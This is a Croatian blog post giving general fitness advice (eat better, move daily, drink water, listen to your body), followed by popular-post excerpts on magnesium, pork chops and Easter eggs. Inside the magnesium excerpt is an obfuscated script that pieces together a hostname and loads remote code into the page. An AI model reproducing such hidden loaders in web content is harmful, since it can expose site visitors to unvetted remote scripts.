U DOBROJ FORMI BEZ MUČENJA





U dobroj formi bez mučenja 




Želite li biti fit, ali vas umara stalno brojenje kalorija i vječno odricanje? Ne brinite se postoji puno bolji način kako se možete dovesti u formu: kretanje, zabava i hrana koja vas može zasititi i usrećiti.





Ne jedite manje, nego bolje 

Najveća zabluda kod mršavljenja je ta da moraš gladovati kako bi skinula kilograme. Naravno i količina hrane je važna, ali najvažnije je hraniti se zdravo i svome tijelu tijekom dana dati dovoljno nutrijenata. Tri glavna obroka dnevno potpuno su uredu i jedan do dva mala međuobroka. Za međuobroke je najpametnije odabrati voće, jogurt ili sendvič s integralnim kruhom. 

Tijelo voli kada redovito dobiva energiju, a ne voli kad ga ostavite gladovati satima jer tada prelazi u način preživljavanja, pa skladišti kalorije za crne dane.





Pokrenite se i zabavite 

Naše je tijelo stvoreno za pokret i da bi bili fit morate u svoju svakodnevicu uvrstiti neku vrstu tjelovježbe i kretanja. Najbolji sport nije onaj od kojeg se umorite nakon tri minute, nego onaj koji vam je zabavan. Već je 30 minuta kretanja dnevno dovoljno da ostanete fit, a to možete lako rasporediti kroz dan. 





Superhrana umjesto šećera 

Vaše tijelo je kao superheroj i treba gorivo koje ga jača. To znači da mu tijekom dana morate omogućiti puno povrća, voća, integralnih proizvoda, mahunarki, mliječnih proizvoda i naravno vode. Cola i energetska pića prepuni su šećera, ali i drugih nezdravih sastojaka i neće hidrirati vaš organizam nego će vas dugoročno samo učiniti umornijom.





Slušajte svoje tijelo 

Imajte na umu da je svako tijelo drukčije stoga se ne uspoređujte stalno s drugima. Cilj je da se u svome tijelu osjećate dobro. Snaga, energija i dobra vibracija učinit će vas sretnom. Fokus je na zdravlju, a kao posljedica zdravog tijela doći će i dobra forma. Zaboravite na komplicirane dijete i birajte kretanje, zabavu i hranu koja će vas zasititi. Jedite, redovito pijte vodu, krećite se i zabavljajte se. To je jedini način da budete fit i još važnije sretni.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više